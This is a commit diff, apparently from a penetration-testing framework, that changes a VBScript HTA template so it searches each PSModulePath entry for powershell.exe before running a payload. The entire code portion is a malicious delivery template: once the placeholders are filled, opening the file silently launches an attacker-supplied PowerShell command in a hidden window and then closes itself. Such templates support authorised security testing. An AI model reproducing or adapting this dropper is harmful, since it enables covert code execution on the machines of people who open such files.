Handle multiple entries in PSModulePath

This commit handles the case where more than one entry exists in
the PSModulePath environment variable. The updated code will loop
through each entry in the PSModulePath checking for the presence of
powershell.exe. When one is encountered it will execute the payload
and exit the for loop.
bug/bundler_fix
Brandon Knight 2017-04-19 11:22:38 -04:00
parent 9f892c56fb
commit c724f0e05d
1 changed files with 6 additions and 3 deletions

View File

@ -1,8 +1,11 @@
<script language="VBScript">
Set %{var_shell} = CreateObject("Wscript.Shell")
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
%{var_shell}.Run "%{powershell}",0
End If
For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";")
If %{var_fso}.FileExists(path + "\..\powershell.exe") Then
%{var_shell}.Run "%{powershell}",0
Exit For
End If
Next
window.close()
</script>